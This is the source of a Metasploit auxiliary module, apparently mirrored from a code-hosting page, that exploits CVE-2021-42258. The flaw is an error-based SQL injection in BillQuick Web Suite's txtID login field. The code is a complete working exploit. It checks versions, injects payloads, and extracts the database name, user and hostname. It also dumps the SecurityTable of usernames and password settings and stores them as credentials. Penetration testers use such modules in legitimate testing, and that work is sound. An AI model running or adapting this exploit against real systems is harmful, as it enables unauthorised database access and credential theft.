Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/billquick_txtid_sqli.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67prepend Msf::Exploit::Remote::AutoCheck8include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report10include Msf::Exploit::SQLi1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'BillQuick Web Suite txtID SQLi',17'Description' => %q{18This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1.19The application is .net based, and the database is required to be MSSQL. Luckily the website gives20error based SQLi messages, so it is trivial to pull data from the database. However the webapp21uses an unknown password security algorithm. This vulnerability does not seem to support stacked22queries.23This module pulls the database name, banner, user, hostname, and the SecurityTable (user table).24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # msf module28'Caleb Stewart <caleb.stewart94[at]gmail.com>' # original PoC, analysis29],30'References' => [31['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'],32['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'],33['CVE', '2021-42258']34],35'DefaultOptions' => {36'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request37},38'DisclosureDate' => '2021-10-22',39'Notes' => {40'Stability' => [CRASH_SAFE],41'Reliability' => [],42'SideEffects' => [IOC_IN_LOGS]43}44)45)46register_options(47[48Opt::RPORT(80),49OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/'])50], self.class51)52end5354def check55begin56res = send_request_cgi({57'uri' => normalize_uri(target_uri.path, 'default.aspx'),58'method' => 'GET'59}, datastore['HttpClientTimeout'])60return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?61return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 2006263%r{Version: (?<version>\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}</span>} =~ res.body6465if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1')66return Exploit::CheckCode::Appears("Version Detected: #{version}")67end68rescue ::Rex::ConnectionError69return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service")70end71Exploit::CheckCode::Safe("Unexploitable Version: #{version}")72end7374def rand_chars(len = 6)75Rex::Text.rand_text_alpha(len)76end7778def error_info(body)79body[/BQEShowModalAlert\('Information','([^']+)/, 1]80end8182def inject(content, state, generator, validation)83res = send_request_cgi({84'uri' => normalize_uri(target_uri.path, 'default.aspx'),85'method' => 'POST',86'vars_post' => {87'__VIEWSTATE' => state,88'__VIEWSTATEGENERATOR' => generator,89'__EVENTVALIDATION' => validation,90'__EVENTTARGET' => 'cmdOK',91'__EVENTARGUMENT' => '',92'txtID' => content,93'txtPW' => '',94'hdnClientDPI' => '96'95}96}, datastore['HttpClientTimeout'])9798fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?99fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200100res.body101end102103def run104vprint_status('Getting Variables')105res = send_request_cgi({106'uri' => normalize_uri(target_uri.path, 'default.aspx'),107'method' => 'GET'108}, datastore['HttpClientTimeout'])109110fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?111fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200112113/id="__VIEWSTATE" value="(?<viewstate>[^"]+)/ =~ res.body114/id="__VIEWSTATEGENERATOR" value="(?<viewstategenerator>[^"]+)/ =~ res.body115/id="__EVENTVALIDATION" value="(?<eventvalidation>[^"]+)/ =~ res.body116unless viewstate && viewstategenerator && eventvalidation117fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.')118end119vprint_status("VIEWSTATE: #{viewstate}")120vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}")121vprint_status("EVENTVALIDATION: #{eventvalidation}")122123header = rand_chars124footer = rand_chars125126service = {127address: rhost,128port: datastore['RPORT'],129protocol: 'tcp',130service_name: 'BillQuick Web Suite',131workspace_id: myworkspace_id132}133report_service(service)134135sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|136int = Rex::Text.rand_text_numeric(4)137res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)138err_info = error_info(res)139print_error('Unexpected output from the server') if err_info.nil?140err_info[/\\u0027(.+?)\\u0027/m, 1]141end142143# all inject strings taken from sqlmap runs, using error page method144database = sqli.current_database145print_good("Current Database: #{database}")146report_note(host: rhost, port: rport, type: 'database', data: database)147148banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t")149print_good("Banner: #{banner}")150151user = sqli.current_user152print_good("DB User: #{user}")153154credential_data = {155origin_type: :service,156module_fullname: fullname,157username: user,158private_type: :nonreplayable_hash,159private_data: ''160}.merge(service)161create_credential(credential_data)162163hostname = sqli.hostname164print_good("Hostname: #{hostname}")165166report_host(host: rhost, name: hostname, info: banner, os_name: OperatingSystems::WINDOWS)167168sec_table = sqli.dump_table_fields("#{database}.dbo.SecurityTable", %w[EmployeeID Settings], 'ModuleID=0')169170table = Rex::Text::Table.new(171'Header' => "#{database}.dbo.SecurityTable",172'Indent' => 1,173'SortIndex' => -1,174'Columns' =>175[176'EmployeeID',177'Settings',178]179)180181sec_table.each do |(username, settings)|182table << [username, settings]183credential_data = {184origin_type: :service,185module_fullname: fullname,186username: username,187private_type: :nonreplayable_hash, # prob encrypted not hash, so lies.188private_data: settings.split('|').first189}.merge(service)190create_credential(credential_data)191end192print_good(table.to_s)193print_status('Default password is the username.')194end195end196197198